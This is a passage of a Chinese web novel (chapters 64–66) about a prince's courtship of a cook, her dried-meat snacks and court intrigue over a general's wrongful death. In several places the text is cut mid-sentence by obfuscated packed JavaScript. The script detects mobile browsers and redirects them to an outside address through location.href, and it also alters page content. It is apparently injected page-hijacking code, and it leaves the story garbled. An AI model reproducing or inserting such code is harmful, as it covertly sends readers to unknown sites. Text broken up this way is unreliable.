“这是个好兆头,要不怎么说还得是许大人呢。”李公公捡着帝王爱听地说,“还不是陛下英明,将老大人又请了回来。” 赵怀风笑得眯起眼,“去岁便开始有好兆头了,许大人愿意入仕,连云策也变得乖顺许多。” “吉兆,陛下的龙体也越来越康健了。” 赵怀风点着李公公笑道:“朕看你是越来越滑头了。” 这样岁月静好帝王开怀的时候许久未见,李公公着实心里头舒坦。 这一晚,帝王心绪颇佳,久未踏足的后宫也颇为激动,赵怀风去了皇后宫中。 朝堂之上,许且没有居功,当众夸了赵行之,听闻这是自己弟弟功劳,赵怀风更加欣喜,赐了一堆好东西送到了晋王府。 赵怀风这几日都在军营里忙碌着,北地的蛮夷屡屡进犯试探,若是任由其这样必将又是一场战争,赵行之想要先下手为强,这是先前同许大人达成共识的决定。 无奈赵怀风不同意他亲自上阵,“这种机会当派其他人去便是,你手下那么多骁勇善战的人,养兵千日用兵一时,也该让他们历练历练。” 赵行之这才派了梅九畴迎战。 对于小梅和梅映禾而言,九郎是第一次真刀真枪上阵杀敌,他自己信心满满十分激动,可是两位女郎却忧心忡忡。 赵行之进店的时候天色已晚,都到了打烊的时辰了,小梅趴在柜台后头蔫头耷脑打不起精神,梅映禾托腮坐在桌旁有一下没一下地逗弄两只狸奴。 两小只如今已然长成了大狸奴,同她也十分亲近,大约是知道她的忧心,一个蜷缩在她怀里安安静静,一个趴在她手旁配合她的手指蹭着。 听到脚步声,梅映禾抬头,“七哥。” 大约是不想让赵行之看到自己的担忧,两位小娘子立刻笑得眉眼弯弯,小梅忙着去煮茶,梅映禾将赵行之带到窗边坐下。 “今日来了战报,九郎已经顺利完成任务,不日便将回京。”赵行之拿着一封信递给她,“这是他一并寄过来的家书,你看看。” 那封没有被拆开的家书和这样的好消息让梅映禾十分欣喜,待小梅送上茶水和点心,梅映禾直接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他恨不能将小早护在自己的身边,不让任何人看见她,只想自己珍藏。可是他知道梅映禾的性格,她就是这样闪着光辉而来,周身的万丈光芒只会让她越来越出色,越来越亮眼。 他不愿束缚她,那就只能陪着她,看着她发光发亮。 “这是皇兄赏赐给我的,全托赖你的功劳,我这也算是借花献佛吧。”赵行之从袖中拿出一只漂亮的翡翠绞丝手镯,三条细细的绞丝缠绕,戴在手腕上行动之间便能听到悦耳的脆响,灵动得很。 “七哥这几日天天送我东西。”梅映禾推拒,“这么贵重的礼物不能再要了。” “你若不喜欢明日我便将那匣子一并搬过来,你自己挑。”他现在碰到这种时候都好似听不懂她话一样,颇有一种耍赖的味道。 梅映禾无奈,只能收下,打算收入袖中却被他一把拉住手腕,“别收起来,来,七哥给你戴上。” 那温暖厚实的大手又一次拉着她,梅映禾只觉得腕间一阵热,“我日日都要干活,这么好的镯子碰坏了就可惜了。” “也是。”他似乎有所犹豫,接着说,“也好,那明日我把那匣子搬过来,你自己挑,看喜欢哪个戴着不容易碰坏的,你就……” 又来了,梅映禾实在无语,赶紧把翡翠镯子戴在手腕上。 白皙的皮肤衬在碧绿的翡翠下,更加显得她肤色柔润,十分好看。 “明日我就不能来了,好久没下雨了,京郊有些旱了,倒并不严重,送去些吃食银两药材便可,但是一来一回也要好几日。” 赵行之抬头看着她,“小早,你会想我吗。” 64. 这辈子不嫁人 梅映禾瞪着眼睛看着他。 赵行之眯起眼睛意味深长地望过来。 灯下,四目相对,一瞬间的恍惚,梅映禾觉得这一幕十分熟悉,好似在梦里见过。 “咳咳咳……”被他看得手足无措,梅映禾生生被口中的橘汁呛了个猝不及防。 其实咳嗽两声就可以止住了,可是梅映禾没有想好怎么应对他的问题,只能借着这股咳嗽的劲儿将它延续下去,就咳得越来越起劲。 赵行之垂下眼眸帮她倒了杯茶水递过去,见她仍旧咳个不停,便轻轻帮她拍着后背。 小娘子实在太过单薄了,他看到自己的手掌几乎可以覆盖住她的背部。赵行之不由自主想起那一次他们吵架,小娘子站在他面前,昂首挺胸面红耳赤,个头还不到他的下巴,气势却仿佛能敌千军万马。 那是赵行之第一次很直观地注意到她的娇小和瘦弱,心里生出想要保护她的欲望。 梅映禾实在咳不下去了,只能端起杯子喝水,面对他仍旧不肯放过她探究的目光,尴尬地笑了笑,“想……是肯定想的,对吧。” “正所谓一日不见如隔三秋兮,更何况我们是这么亲近的关系。” 小娘子笑嘻嘻地以为自己躲过了一次灵魂拷问,结果却见他眸子陡然一亮,追问: “哦,是亲近的关系吗,有多亲近。” 差点儿又被茶水呛到的梅映禾:…… 怎么还没完没了了。 有一种搬起石头砸自己的脚的感觉,幸好这时候小跑堂送来饭菜,梅映禾忙张罗着摆菜那餐具。 看着她从脸红到装咳嗽再到手足无措地躲避,赵行之觉得很可爱。 对于小早敷衍的回答,他是觉得有些失落的,可是基于对她的了解,赵行之觉得,从小娘子满脸通红到拼命地装咳嗽,再到手足无措地尴尬和羞涩,到看到饭菜如蒙大赦的表情…… 至少小早对他的反应再不是从前那般无知无觉,或是真的将他当成兄长看待了,她变了,开始害羞,开始想要躲避,开始不敢看他的眼睛了。 这是不是就意味着她要开窍了呢。 或许她还对自己的变化不自知,可是不要紧,他可以等,可以慢慢地引导她明白他的心意,他的小早那么聪明,一定能看到他的真心。 “这糯米排骨是梁大厨的绝活,口感软糯香气扑鼻,还很饱腹,七哥快尝尝。”梅映禾借着介绍菜点总算遮掩住了自己的尴尬和无措。 “还有这道辣炒白菜,特意按照七哥的口味做的,白菜本就补水,再加了辣子炒很提胃口的。”她说起吃的来滔滔不绝。 “这几日干燥七哥又很忙,吃点清炒百合去火气,这道菜是我特意让他们做的,最适合像七哥这种日理万机的人了。还有这道小炒猪肝,明目且口感劲道,放了辣子和韭菜最是开胃下饭。” 她将菜品重新摆好,递上筷箸。 “这道汤是七哥最喜欢的鳝丝羹,刚好今日有新鲜送来的鳝鱼,都是现杀现做的,汤调浓稠醇厚,鳝丝口感顺滑,七哥试试如何。” 虽然对她没有正面回答问题略感遗憾,但是赵行之对饭菜甚是满意,拿起筷箸便大口吃起来。 这些日子很忙,忙到入了夜才能有空吃饭,其实他本可以回府去吃,无奈佑安那个笨蛋,跟了他这些年还次次都要问:“主子今日想吃点儿什么。” 他都忙了一整日,身子乏脑子累,哪里还有劲儿去想吃什么,有时便随口应付,碰上心烦的时候便不吃了。 哪里像小早这般贴心,才相处多久便已摸清楚他的喜好和需求,总是能不用他说就送上最可口的饭菜。 有时候行动比起话语更能说明一切,如此想来,赵行之的脸上露出笑容。 再一想,自己过去那厌食症多半与佑安有关,回去得跟他说道说道。 看着赵行之吃得开心,眉眼弯起,也不再提及方才的话题,梅映禾这才松了一口气,看来是吃美了。 别说,美食可解忧愁,亦可救命。 赵行之吃完饭时辰已经很晚了,他便送梅映禾回府。 现在她已经住进了自己的宅子里,连许且老大人也凑热闹搬了过来,放着皇帝御赐的豪宅当摆设。 看着天色太晚了,念着她白日里忙得马不停蹄,赵行之没有久留,叮嘱她泡泡脚早些入睡便一个人辞了出来。 可是他并没有走,路过正院儿看到老大人书房的灯还亮着,于是上前敲门。 最近又是灾情又是开年大兴土木又是出征打仗,户部忙得人仰马翻,老大人的夜熬得更晚了。 “云策来了。”老大人看到赵行之满眼都是笑意,“送小早回来的?” 赵行之点头,在许且对面坐下。 老大人的案桌上除了垒得极高的几摞卷宗之外,便是茶水和各式各样的茶点和宵夜,看得赵行之忍俊不禁。 “老师夜间还是少吃些甜食得好。” 许且点头,遂又猛然停住,瞥了他一眼,哀怨道:“吃不到喜糖,老夫只能晚间偷偷吃些甜食聊胜于无吧。” 这是在含沙射影地催他呢,赵行之自然明白老师的心意,垂眸不语。 “老师这里还在为银子发愁。”赵行之转换了话题,最近频频报来的各地奏报都显示各地都有灾情,严重与否都需要朝廷拨款给银子。 可是这些年连年战乱灾情不断,国库空虚了两三年了,也就从岁的下半年至今堪堪攒了一些,如今又要空了。 “陛下前几日还说日子一点一点好起来了。”许且无奈摇头,“这话就不该说。” 所谓好的不灵坏的灵,赵行之无奈点头。 “户部千头万绪的差事要捋顺实在不易,若是商户能带头捐助些银两,民间的力量是巨大的,一定能缓解当务之急。”许且遗憾叹气,“现在一切才刚刚起步,许多话说不出口也无法强迫。” 说完这话老大人自己也笑了,“竟混到了今时今日的地步,要取之于民再取之于民了。” 赵行之安慰道:“老师才接手户部不久,许多事还需慢慢来。” 许且倒是个想得开的性子,大晚上的讨论这种话题实在是成心让人失眠,于是急转话题又问:“你跟小早究竟如何了,老夫何时能吃上喜酒。” 赵行之讪笑了一下,“下个月吧。” 许且大惊,“这么快吗。” 赵行之抬头,“下个月九郎回来成亲,到时候不就有喜酒吃了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14755762|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >许且笑骂他,“好啊,竟学会拿老头子开玩笑了。” 赵行之赶紧道歉,“学生不敢,只不过学生实在有负老师,至今尚无任何进展。” 方才还明亮的眸子此时露出些许无奈和不知所措,许且捋须道:“你呀,当王爷当得太久了,都忘记了自己的娘子是要舍掉脸面才能追回来的。” 老大人想起了多年前自己的经历,“当年你师母可是京城闻名的美人才女,不也是被老夫的魅力折服,所以你呀要主动,懂吧,小娘子们都是面皮薄,你不能天天只去吃饭,要送些小礼物投其所好。” 赵行之哭笑不得,只能将送礼的事告知许且,许且急得直拍大腿,“你呀你呀,送礼是多么美好的事情,你怎么送得像抢劫。你得找到适当的时候,节庆或有纪念意义的日子再送,而且要送得别出心裁。” 看着自己的这位得意门生一脸茫然,许且真是恨铁不成钢,“小早的性子你我都是了解的,单是贵重的礼物或许她并不会很在意,你得送得有心思有新意,让她觉得美好啊,感动啊,浪漫啊……” 赵行之听得出神,脑子里想象着什么是美好的感动的浪漫的,一时又没了主意。 看着他木呆呆的样子,许且觉得又好气又好笑,可是转念一想,他从小就不似那种纨绔子弟们,每日只知道打马闯街无事生非,流连于声色场所不思进取。赵行之是个自律自省克己之人,再想想自己,当初也不是无师自通的,那时候的憨愣只怕比这个学生有过之而无不及。 “罢了罢了,不教了,教一步教不了五步十步,你就按照你自己的意思来吧,以云策的样貌和才华,只要脸皮厚一些便什么都有了。” 说到脸皮厚,这也是小梅教给梅映禾的秘诀,“男子都最是讲究面子,若是他肯为你舍掉面皮,便是可靠的,就像你哥哥。” 梅映禾回到自己的小院儿,进了房门就看到正在一边泡脚一边看信的小梅姐。 那封信已经被她翻过十遍八遍了,还是看不够。 “嫂嫂要把信纸看出花来了。”梅映禾打趣她。 小梅抬头,小心翼翼地收起信纸,上下打量了她问:“七哥向你提亲了?” 梅映禾正在喝水,一个没留神差点儿被呛死。 “什么提亲。” 看她一脸茫然的样子,小梅走过去道,“你呀,傻吧你就,这么好的男子摆在面前你都不珍惜,你难道看不出来晋王殿下为了你脸皮都变厚了。 梅映禾:…… 仔细想想,倒还真没有,不过肚皮变大了倒是真的。 看着她愣愣地出神,小梅就知道她又没听懂,干脆坐下来劝道,“咱们外人都能看得出来,七哥满心满眼都是你,你当他日日都来吃饭真的是为了吃饭吗,还不是因为想见你一面,就像你哥当初一样,找点儿芝麻绿豆的事儿就往我家跑。 早儿啊,你是个顶好顶好的姑娘,咱们都觉得除了七哥这样的身份、样貌、人品,其他人都配不上你,能有一个真心疼爱你的人在身边,咱们也都放心。” 梅映禾听她又开始老生常谈,无所谓道:“嫂嫂就别劝了,我心里明白得很,也早就想好了,这辈子我就不成亲了,多赚些银子将来咱们富可敌国。” 65. 随身携带的肉干 富得敌不敌国犹未可知,可那终身大事实在是没能在梅映禾的脑子里过夜,本想着裹着被子躺在床上好好想想,把这个大事彻底想明白的,谁知脑袋才粘着枕头眼皮就开始打架,再想那些事是怎么也想不明白了,人已沉沉睡去。 终身大事终究还是没时间去想,梅映禾便又关注上了京城周边的灾情。 每年这个时节总能让她想起当年的梅花村,好在今年干旱的日子还没有太久,各地虽有旱情却也并不十分严重。 抬头看天,太阳明晃晃地照耀大地,这几日午后都时不时会有阴云遮日风雨欲来的势头,只是还一直没下雨,想来应当是快了吧。 若是在后世,这时候一准人工降雨了,人等得庄稼等不得啊,一茬地一个时节,就这么几日,说干死就干死了。 赈灾的银两怕是不够的,赵行之走了,梅映禾却日日看到义父书房的烛灯燃到天亮,想来是碰上困难了。 大隶朝这些年过得太难了,连年灾祸不断还有外敌时不时蓄谋进犯,可谓是内忧外患,国库早已空虚,连户部的账目也是一团乱麻厘不清楚,义父接手不久眼看着稍有起色,还没松快两日又被掏空了。 梅映禾除了照顾好老人家的饮食外,旁的也帮不上什么忙,这几日便去户部署衙的次数多起来。 署衙进出往来的官员脸上也不似前段时间那般闲适,一个个步履匆匆面带愁容,梅映禾只能叮嘱后厨们多做些肉,做得好吃些,能在这上头聊以慰藉也是好的。 算下来倒是有些日子没看到文明修了,正值午食,梅映禾抱臂站在门口看着,一波一波的大小官员进来,吃完饭匆匆离去,做得日子久了大家都认得她,还不忘同小娘子揖礼打个招呼,梅映禾也一一还礼。 说曹操曹操到,脑子里正盘算着多少日子没看见过文明修了,梅映禾就看到一人匆匆奔入大门,直冲这边而来。 来人身形瘦弱,官袍越发显得宽大不合身,整个身子在衣服里晃荡的感觉,像极了电影里的僵尸。 再看那人的脸,灰白带黄面无血色,眼底淤青眼神却是坚定的,盯着卖大包子的摊铺目不斜视,似匹饿狼。 丸辣,更像僵尸了。 文明修今日总算能迈出房门出来吃一顿饭了,却无奈时间有限,他本想买拿两个大包子并一些酱菜给嘴巴里改改味,这些日子坐住了盘账目,已经几日不眠不休了,吃得也是残羹冷炙食不下咽,苦不堪言。 “文大人。”梅映禾看到他第一时间从身后拿出准备好的两只卤鸡腿两只卤鸭翅并几个卤鸡子,递给他,“大人形容憔悴,是不是没吃好饭。” 看到是梅映禾,文明修后悔今日过来,自己的模样一定吓着他了,再不是从前那个风度翩翩的儒雅状元郎了,很是惭愧,低着头道:“这些日子太忙,无暇整理自己,让小早见笑了。” 梅映禾看出了对方的窘迫,笑道:“我义父的样子比大人也好不了多少,我知道你们最近忙,这才特意在家里做了卤味,想着若是大人来了能带回去吃,不拘冷热,这东西随时都能吃,也好补补身子。” 温暖的话和诱人的美食安慰了文明修,真是个善解人意的小娘子,文明修接过梅映禾递过来的卤味,谢道:“多谢小早,这算是救了我的命了,大恩不言谢,等忙完这阵子我必请小娘子吃大餐。” “好,一言为定。”梅映禾叮嘱他,“我这几日做了好吃的便给你送过去,你也不必跑来跑去了。” 文明修还想说什么,被梅映禾撵着往外走,“快去忙吧,有时间多休息,当心自己的身子。” 体贴又温暖,文明修当即满血复活。 不再耽搁他的时间,梅映禾看着文明修匆匆离去的身影心里默默盘算上了。 接下来几日梅映禾便几乎日日都亲自做了几道文明修爱吃的饭菜给他送过去,看着他案头堆满的卷宗小山似的,梅映禾吓了一跳,再仔细一看,难怪他这般忙碌,除了户部的事务之外,他还担起了商总的职责,一些要组织的活动、下发的通知等等事事亲力亲为。 “干不完,根本干不完。”文明修很是无奈。 梅映禾放下食盒便帮他整理起来,户部的事务她看不懂,商总要做的事情她多少还能帮衬些,就这样忙忙碌碌竟干了一整个下午。 “我想捐助些银子救灾,大人觉得如何。” 这个想法在梅映禾的脑子里盘旋好几日了,总是犹豫不定,倒不是心疼银子,她是怕自己太出风头。 “那自然好啊。”文明修大喜,“不拘多少都是一份心意,若商户们人人如此,东家们都像小早一样想就好了。” 怕就怕这个,有的人愿意捐助,比如梅映禾,自己曾经淋过雨自然也愿意为别人撑起一把伞,但是不是所有人都会心甘情愿,所以那份号召商户捐资的告示早就起草好了却迟迟没有下发,文明修也是有所顾虑的。 商户们没有领头羊,这种善举全凭自愿,若是告示发出去没有人应,岂不丢人。 所谓一鼓作气再而衰三而竭,一次不成的话日后再想号召起来就更难了。 此事还得从长计议,梅映禾自然明白他的苦楚,默默点头,在捐助人处写了匿名。 帮文明修做了几日整理的活儿,一切都井然有序起来,梅映禾便亲自跑了趟菜市场。 梅花村菜市场的人是真的多,这里的菜肉不仅价格合理,而且十分新鲜,梅映禾见到了许多熟人。 她是来买肉的,牛肉和猪肉。 看着义父他们实在忙的废寝忘食,梅映禾便想起了后世自己加班时常吃的猪肉铺,小小方方的一片,方便携带,饿了随时能吃,补充体力缓解疲劳,更重要的是能安抚情绪。 牛肉嘛她打算用来做酱牛肉和牛肉辣酱,酱牛肉要选腱子肉或者牛腿肉,更有嚼劲。 牛肉切块,浸泡去血水后放入冷水里,加入酒和姜片开大火煮沸,撇去浮沫 再把准备好的八角、桂皮、香叶、草果、丁香、小茴香等大料放入纱布袋中,在锅里一起煮。随后再在放入锅冲炒出糖色后再放入大料炖煮,直到肉质软烂汤汁浓稠为止。 至于麻辣牛肉酱便是后世做辣椒酱的做法,炒辣酱的时候多放些切成小块的牛肉粒便可。 这两样都可以放在家里,随便蒸个馒头煮碗白煮面便可就着下饭,方便又快捷,还十分提味。 麻烦的是那随身携带的猪肉铺,猪肉要先绞成肉糜,再加酒、鱼露、蜂蜜等调味,还要将调好味的猪肉糜像擀面一样擀成一张一张厚薄均匀的圆片,还要经过高温烘烤,之后再切成小块便成了。 这烘烤的温度和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14765673|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 火候很难把握,这里不像后世有烤箱、微波炉,有温度和时间的设置,眼下全凭梅映禾的感觉。 好在做出来味道还是十分不错的,梅映禾感慨自己即便是离开了科技与狠活儿也依然靠着手艺能做出毫不逊色的美味,也算是没给师傅丢人。 三样东西放在许且的案头,老大人眉开眼笑,当晚就夹着麻辣牛肉酱吃了两个大白馒头,还将猪肉铺小心翼翼地包裹好装在了随身的锦袋里。 这几日陛下也十分忧心,几乎日日都要拉着户部的人商讨盘账,许且和文明修一待便是一下午,有时候天黑离宫时早已饥肠辘辘了。 今日又是如此,金乌西坠还没有散去的意思,许且也不管那么多,饿了就吃,从锦袋中掏出猪肉铺,一边看着陛下过奏折一边自顾自吃起来。 文明修看看自家上司吃起来,所幸这几日陛下也晓得他们的辛苦,规矩松泛了许多,自己的也早就饿了,于是乎也掏出自己的猪肉铺小心地吃起来。 赵怀风闻到了香味,抬起头看着二人,肃容不语。 许且看了他一眼,“我闺女做的,怕我老头子年纪大了撑不住倒下,比不得陛下年轻力壮,咱们得及时补充体力才能更好地为国效力。” 文明修也赶紧道:“臣今日还未进水米。” 好嘛,吃独食。 赵怀风把手一伸,“拿给朕尝尝。” 许且十分不情愿,“今日带的不多,就这几片。” 说完回头看文明修,“文大人那里可有富余。” 没有也得有,文明修奉上自己的猪肉铺咽了口水站在一旁看他们吃。 “嗯,好。”皇帝陛下朱笔御批,画了一个大大的圈,抬头看向许且,“明日给朕带二斤这个来。” “二斤?”许且摇头,“陛下太过贪心,臣手里也只有一斤。” “那便半斤。”赵怀风道,“这是圣旨,让你家小娘子再多做一些,朕付银子。” 这倒是可以。 许且应了差事,梅映禾哭笑不得,这种小孩子吃的零食不登大雅之堂,竟被皇帝陛下点了名,重新买了好肉又多做了一些,索性户部署衙放一些供大家尝个鲜。 脱去春衫的时候,灾情总算是对付过去了,虽然捉襟见肘却也算是有惊无险。 梅九畴也凯旋而归,这一走便是三个多月,人黑了瘦了却也精神了许多。 先进宫面圣,得了赏赐还封了个副将的衔,让小梅激动得天还没亮就爬起来梳妆打扮。 “好看吗,口脂要不要再红一些。” “快帮我瞧瞧这衣裳是不是太素了,要不还是换那件红色裙子吧。” “这金簪子还是你哥送给我的呢,配红裙合适,我还是换了吧。” …… 梅映禾看着她忙东忙西兴奋地一张小脸涨得通红,正如她自己所说,“这种幸福感外人体会不到。” 啧啧,自己倒是成了外人了,不过看着哥哥嫂嫂感情这么好,梅映禾心里高兴,距离婚礼的日子越来越近了,这桩大事办完得去坟上给爹娘报喜了。 一瞬间的怅然,梅映禾突然就想象了一下,若是自己愿意的话,不知道未来郎君会是怎样的人,长得好看吗。 心里琢磨着迈出门槛,一抬眼就看到了一张格外好看的脸。 66. 相隔天堑 那张脸眉目清俊,眼波流转间尽显书卷气息,原本过于白皙的皮肤经过这段时日的忙碌,倒是被晒黑了些,却更增添了几分成熟感。 再往下看,身姿挺拔宽肩窄腰,双腿修长,一身珍珠白银线绣暗纹素锦缎襕衫,腰间挂一枚喜上眉梢玉佩,脸上带着若有似无的笑容,给人儒雅温柔的感觉,仿佛春风拂面般的缱绻旖旎。 他已收拾过自己换了衣衫,褪去了劲装完全就是儒雅风流的读书人模样。 “七哥回来了。” 梅映禾惊喜地跑过去拉着他左看右看,“瘦了,黑了,这些日子没休息好吧。” 他走了也快一个月了,憔悴、疲惫写在脸上。 赵行之动了动嘴角,眼中粹满星辰,“还好,一切顺利,只是睡得少了些,吃得简单些。” 他说的轻描淡写,可是赈灾救济究竟有多辛苦可以想象,亲赴现场体察灾情,缺食少药是必然的,至于睡眠少,完全是因为赵行之着急处理完公务提前回来,是以总是拉着大家点灯熬油地加班,这才足足提前了半个月回来。 赵行之回忆起方才在宫里听到的,若是不提前回来,恐怕有些事还是被蒙在鼓里。 眼前小娘子从自己的袖袋里拿出油纸包,一块枣红色泛着油光的肉蒲被递到面前。 “咱们去吃饭,不过还得有一会儿,这是我最近做的解馋小零食,七哥尝尝。” 她眉眼弯弯,一脸得意,想来这应当是极受欢迎的食物,赵行之接过,咬下一口,肉厚片软却嚼劲十足,味道是咸甜兼具,越嚼到后头越能体味出肉质的香味。 “好吃。” 得了意料之中的赞,梅映禾索性将袋里所有的都给了他,“赶明儿我多做些,七哥公务繁忙,可以随时补充营养。” 现在朝廷里的大小官员几乎人人都会有一个小袋装着她的猪肉蒲,散朝回去的路上,署衙繁忙顾不上吃饭的时候,亦或是拿来逗家里的孩童,都是最好的选择。 方才赵行之在皇兄的御案上就看到了这肉蒲,皇兄似乎非常喜欢,一边吃着肉蒲一边同他聊事情,彼时他还不知道这是小早做的,他们无意中说起边患的外敌侵袭,说起对战士们的嘉奖,皇兄不知为何突然就想起了白将军,似在回忆却实在敲打他: “手下的人亦是要看得紧一些,莫要出现曾经云岗之役后的悲剧,若是真二心者也莫要心慈手软。” 赵行之默默不语,他并没有应下皇兄的话。 若是他当时知道那肉蒲是小早做的,他倒是真想问一问皇兄:“曾经的案情真的清楚吗,证据确凿吗,难道不是父皇疑心太重才鸟尽弓藏吗。皇兄心里真的不明白吗,如今一边吃着人家女儿做的肉蒲,一边冤枉人家是投敌叛国的奸贼,岂不可笑,真的咽得下吗。” 他一愣神的恍惚,手里的肉蒲只咬了一口便停了下来,梅映禾瞧着他的神色十分复杂,便问:“七哥怎么不吃了,今日瞧着七哥兴致不怎么高的样子,是有什么难事吗。” 赵行之赶紧回神,将一整块肉蒲放进嘴巴里,摸着她的发顶笑道:“在想老师一定喜欢极了这肉蒲。” “那是。”说到许且,梅映禾话匣子打开,二人一边走一边说着许且对肉蒲的热爱,赵行之在她身侧,头顶是温暖的阳光,身边是灿烂明艳的小娘子,一切都脱离了方才的阴霾和逼仄,瞬间变得敞阔舒朗了起来。 到了店里,大家坐下商讨小梅和九郎的婚仪,梅映禾专门请了有经验的礼生来讲解,从新娘晨起的时辰、上妆、祭拜祖宗,新郎官接新娘的仪程,拦门、撒豆谷、跨马鞍、坐虚帐、拜先灵、拜舅姑、夫妻交拜、撒帐、合髻、除花、却扇、灭烛等,一一细致安排。 梅映禾在一旁十分认真地提笔记录下来一些重要的环节和需要注意的事项,礼生还在跟两位新人核对细节仪程,梅映禾的心思却飞远了。 如果,是说如果这辈子能在大隶朝成亲的话,她的婚礼应当也是如此吧,而且相比较现代的礼仪程序应该更严格也更有趣吧。 就是不知道自己穿上那漂亮地新娘装会是什么样子,一定好看的。 每个女孩都想象过自己成为新娘时候的样子,梅映禾也不例外,上一世她一直很忙倒是无暇想起这些,谁知这一世竟生出些许的幻想。 要怪就怪这古人的头饰、发型、衣裳、配饰实在太好看了,亮闪闪艳灿灿,穿上那裙子飘飘似仙,氛围感太足了,是谁不想试试啊。 跑偏了,梅映禾赶紧收回思绪拼命摇了摇头。 再一抬头正对上对面赵行之看过来的目光,双目澄澈,似含着笑。 她的一举一动每一个表情变化都被赵行之尽收眼底,从小娘子方才认真记录的模样到面含桃花神思远去的笑容,再到现在被发现小秘密的窘迫,一张小脸涨得通红,眼神飘忽也不敢看他…… 赵行之一早入宫以来的坏心情一下子烟消云散。 我的小早啊——真可爱。 这一日因为梅映禾要陪着未来嫂嫂去置办物品,赵行之也因刚回京,午食大家为他接风洗尘又喝了酒,便于饭后送小早和小梅去了想去的街市后回府睡觉去了。 多日辛劳加之酒精的作用,赵行之这一觉错过了晚食。 走出房门的时候已经是戌时一刻了,天色已经黑透了,难得这一觉睡得足,精神也好了许多。 佑安近前听吩咐,赵行之让他把云岗之役的所有卷宗拿到寝殿去,然后又让人去好吃食铺点了几道菜回来,顿了顿又吩咐佑安: “你去把那套私宅拿去衙门过了户,送给九郎做新婚贺礼。” 就是那套先帝曾经赏赐给白将军的府邸,后来白家被抄家灭门,那套宅子被视为不吉,便流于牙行,赵行之是辗转找人借了名字签订契约买了下来。 这么些年无人知道那套宅子其实是他的。 “王爷送的礼是不是太大了。”佑安担心,“恐九郎有压力。” 赵行之自然晓得梅九畴的脾性,可是这是他存了一点私心的,原就应该物归原主的,九郎先接下,日后冤情大白于天下的时候,再由九郎转给小早。 他并不想让小早知道这一切的过程,她只要享受结果就够了。 “这些身外之物要来又有什么用,兄弟亲情因为权力可以随时拿起屠刀,这王爷的头衔、这晋王府,还有这些黄白之物又有何意义,倒不如寻常百姓家能得真情。” 赵行之的话让佑安垂头不语,他知道今日早晨王爷入宫后无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14783443|146309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中听到了帝后的对话。 这些年来赵行之屡遭暗算,有几次险些丧命,他一直在查是谁幕后主使,也曾怀疑过自己的皇兄,还因此郁郁寡欢。 他是个重情义的人,那是他从小到大感情最好的皇兄,虽然他没有证据也不愿平白无故怀疑他最亲近的人,可是种种迹象都指向御座之上的那一位,他曾因此自责、内耗许多年。 直到遇到了梅家兄妹,似乎有被治愈,却始终没有痊愈。 前段时间王爷知道了真正的幕后是皇嫂而非皇兄时,佑安亲眼看着自家王爷有多兴奋多快乐,多年的郁气一扫而空,整个人都变得鲜活起来,还主动要同小早娘子拉近关系,也真的做得很好。 曾经那个阳光开朗的赵行之又回来了。 可是今日他们听到的话犹如一记重棒,打碎了他所有的美梦也打醒了他。 不是他们有意偷听,实在是因为帝后的吵架声太大,阖宫的奴才跪了一地,那些话说出口,连给他带路的李公公都是一惊。 陛下一定没想到他能提前半个月就回来。 原来他不是什么都不知道,皇嫂做的一切他竟都未曾阻止,装作不知。 如此才对吧,好像。 他是陛下,是那御座之上的人,是全天下的主人,他想知道什么、阻止什么,谁能拦得住,谁又能在他眼皮子底下行诡谲之事而让他全然不知呢。 还有今日皇兄说起白将军的事,更加让赵行之觉得不寒而栗。 他的皇兄何时变成了这样的人,冷酷无情,为了权力无所不用其极。 那他该怎么办呢,他和小早还有未来有可能吗,如果小早知道一切,她会如何看他,他们之间隔着天堑,无法逾越的鸿沟,她会不会恨他…… * 这几日文明修也终于忙完了,应当说是暂时没有那么忙了,这日休沐特意来找梅映禾兑现承诺,先前说好要请她吃大餐的。 “我自己就是厨子,咱们就在云来吃吧,也不用你破费。”梅映禾请他入座,亲自点菜。 文明修笑着点头,“我就知道会是这样,所以我特意带了礼物来。” 他小心地从怀中拿出一个红木锦盒,“总不能每次我说请吃饭都要你来张罗,这个算是我的谢意,千万别推辞。” 话说到这份上,梅映禾只能接过打开,里头放着一支做工十分精美的金簪,虽是金簪却并不十分耀眼张扬,细细的簪身被精心地打磨过,除去了亮眼的光芒显得十分内敛,尾部竟是两只正在酣睡的可爱狸奴,并非面面俱到倒是很写意传神,圆胖的身子慵懒的神情,简直惟妙惟肖。 